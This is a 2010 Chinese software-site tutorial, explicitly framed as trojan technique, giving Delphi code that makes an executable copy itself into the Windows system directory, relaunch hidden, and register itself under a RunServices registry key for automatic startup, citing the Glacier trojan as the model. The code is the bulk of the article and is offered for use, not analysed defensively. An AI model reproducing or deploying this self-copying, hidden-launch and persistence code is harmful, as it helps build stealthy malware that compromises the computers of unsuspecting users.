西西软件园多重安全检测下载网站、值得信赖的软件下载站!
软件
软件
文章
搜索

首页编程开发其它知识 → Delphi实现可执行文件(木马)自我拷贝

Delphi实现可执行文件(木马)自我拷贝

前往专题相关软件相关文章发表评论 来源:本站原创时间:2010/4/24 16:04:08字体大小:A-A+

作者:佚名点击:356次评论:1次标签: 编程

winrar免费版V5.30 官方正式版
  • 类型:压缩解压大小:1.8M语言:中文 评分:5.0
  • 标签:winrarrar解压软件压缩软件
立即下载

这种方法的原理是程序运行时先查看自己是不是在特定目录下,如果是就继续运行,如果不是就把自己拷贝到特定目录下,然后运行新程序,再退出旧程序.
  打开Delphi,新建一个工程,在窗口的Create事件中写代码:
  procedureTForm1.FormCreate(Sender:TObject);
  var
    myname:string;
  begin
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  end;
  其中GetWinDir是自定义函数,起功能是找出Windows\System\的路径.
  function GetWinDir:String;
  var
  Buf:array[0..MAX_PATH]ofchar;
  begin
  GetSystemDirectory(Buf,MAX_PATH);
  Result:=Buf;
  ifResult[Length(Result)]<>&#39;\&#39;thenResult:=Result+&#39;\&#39;;
  end;
  如何能使程序能在windows启动时自动启动?
  为了程序能在Windows每次启动时自动运行,可以通过六种途径来实现.“冰河”用注册表的方式.
  加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
  procedureTForm1.FormCreate(Sender:TObject);
  constK=&#39;\Software\Microsoft\Windows\CurrentVersion\RunServices&#39;;
  varmyname:string;
  begin
  {WritebyLovejingtao,http://Lovejingtao.126.com,Lovejingtao@21cn.com}
  myname:=ExtractFilename(Application.Exename);//获得文件名
  ifapplication.Exename<>GetWindir+mynamethen//如果文件不是在Windows\System\那么..
  begin
  copyfile(pchar(application.Exename),pchar(GetWindir+myname),False);{//将自己拷贝到Windows\System\下}
  Winexec(pchar(GetWindir+myname),sw_hide);//运行Windows\System\下的新文件
  application.Terminate;//退出
  end;
  withTRegistry.Createdo
  try
  RootKey:=HKEY_LOCAL_MACHINE;
  OpenKey(K,TRUE);
  WriteString(&#39;syspler&#39;,application.ExeName);
  finally
  free;
  end;
  end;

  • winrar
  • rar解压软件
  • 压缩软件
winrar
(9)winrar
这款压缩工具相信大家是很熟悉的了,它能备份你的数据,减少你的附件的大小,解压缩从上下载的和其他格式的压缩文件,并能创建和格式的压缩文件。的名称其实就是版本的压缩文件管理器。其内置程序可以解开和等多种类型的档案文件镜像文件和组合型文件具有历史记录和收藏夹等功能,这里给大家提供了的免费版下载。...更多>>

相关评论

阅读本文后您有什么感想? 已有人给出评价!

  • 8 喜欢喜欢
  • 3 顶
  • 1 难过难过
  • 5 囧
  • 3 围观围观
  • 2 无聊无聊

热门评论

最新评论

发表评论 查看所有评论(1)

昵称:
表情: 高兴 可 汗 我不要 害羞 好 下下下 送花 屎 亲亲
字数: 0/500 (您的评论需要经过审核才能显示)

Delphi实现可执行文件(木马)自我拷贝

前往专题winrar免费版标签:winrarrar解压软件压缩软件

winrar免费版